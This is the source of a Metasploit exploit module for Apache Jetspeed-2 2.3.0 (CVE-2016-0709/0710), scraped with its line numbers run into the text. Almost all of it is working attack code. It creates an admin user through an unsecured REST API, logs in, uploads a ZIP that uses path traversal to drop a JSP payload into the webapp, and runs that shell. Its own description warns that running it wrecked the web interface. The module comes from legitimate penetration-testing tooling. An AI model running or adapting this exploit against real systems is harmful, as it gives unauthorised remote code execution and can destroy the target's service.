Path: blob/master/modules/exploits/multi/http/apache_jetspeed_file_upload.rb
31553 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Apache Jetspeed Arbitrary File Upload',16'Description' => %q{17This module exploits the unsecured User Manager REST API and a ZIP file18path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier19versions, to upload and execute a shell.2021Note: this exploit will create, use, and then delete a new admin user.2223Warning: in testing, exploiting the file upload clobbered the web24interface beyond repair. No workaround has been found yet. Use this25module at your own risk. No check will be implemented.26},27'Author' => [28'Andreas Lindh', # Vulnerability discovery29'wvu' # Metasploit module30],31'References' => [32['CVE', '2016-0710'],33['CVE', '2016-0709'],34['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],35['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],36['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']37],38'DisclosureDate' => '2016-03-06',39'License' => MSF_LICENSE,40'Arch' => ARCH_JAVA,41'Privileged' => false,42'Targets' => [43['Apache Jetspeed <= 2.3.0 (Linux)', { 'Platform' => 'linux' }],44['Apache Jetspeed <= 2.3.0 (Windows)', { 'Platform' => 'win' }]45],46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options([56Opt::RPORT(8080)57])58end5960def print_status(msg = '')61super("#{peer} - #{msg}")62end6364def print_warning(msg = '')65super("#{peer} - #{msg}")66end6768def exploit69print_status("Creating admin user: #{username}:#{password}")70create_admin_user71print_status('Logging in as newly created admin')72jetspeed_login73print_status("Uploading payload ZIP: #{zip_filename}")74upload_payload_zip75print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")76exec_jsp_shell77end7879def cleanup80print_status("Deleting user: #{username}")81delete_user82super83end8485#86# Exploit methods87#8889def create_admin_user90send_request_cgi(91'method' => 'POST',92'uri' => '/jetspeed/services/usermanager/users',93'vars_post' => {94'name' => username,95'password' => password,96'password_confirm' => password97}98)99send_request_cgi(100'method' => 'POST',101'uri' => "/jetspeed/services/usermanager/users/#{username}",102'vars_post' => {103'user_enabled' => 'true',104'roles' => 'admin'105}106)107end108109def jetspeed_login110res = send_request_cgi(111'method' => 'GET',112'uri' => '/jetspeed/login/redirector'113)114115res = send_request_cgi!(116'method' => 'POST',117'uri' => '/jetspeed/login/j_security_check',118'cookie' => res.get_cookies,119'vars_post' => {120'j_username' => username,121'j_password' => password122}123)124125@cookie = res.get_cookies126end127128# Let's pretend we're mechanize129def import_file130res = send_request_cgi(131'method' => 'GET',132'uri' => '/jetspeed/portal/Administrative/site.psml',133'cookie' => @cookie134)135136html = res.get_html_document137import_export = html.at('//a[*//text() = "Import/Export"]/@href')138139res = send_request_cgi!(140'method' => 'POST',141'uri' => import_export,142'cookie' => @cookie143)144145html = res.get_html_document146html.at('//form[*//text() = "Import File"]/@action')147end148149def upload_payload_zip150zip = Rex::Zip::Archive.new151zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)152153mime = Rex::MIME::Message.new154mime.add_part(zip.pack, 'application/zip', 'binary',155%(form-data; name="fileInput"; filename="#{zip_filename}"))156mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')157mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')158159case target['Platform']160when 'linux'161register_file_for_cleanup("../webapps/jetspeed/#{jsp_filename}")162register_dir_for_cleanup("../temp/#{username}")163when 'win'164register_file_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")165register_dir_for_cleanup("..\\temp\\#{username}")166end167168send_request_cgi(169'method' => 'POST',170'uri' => import_file,171'ctype' => "multipart/form-data; boundary=#{mime.bound}",172'cookie' => @cookie,173'data' => mime.to_s174)175end176177def exec_jsp_shell178send_request_cgi(179'method' => 'GET',180'uri' => "/jetspeed/#{jsp_filename}",181'cookie' => @cookie182)183end184185#186# Cleanup methods187#188189def delete_user190send_request_cgi(191'method' => 'DELETE',192'uri' => "/jetspeed/services/usermanager/users/#{username}"193)194end195196#197# Utility methods198#199200def username201@username ||= Rex::Text.rand_text_alpha_lower(8)202end203204def password205@password ||= Rex::Text.rand_text_alphanumeric(8)206end207208def jsp_filename209@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'210end211212def zip_filename213@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'214end215end216217218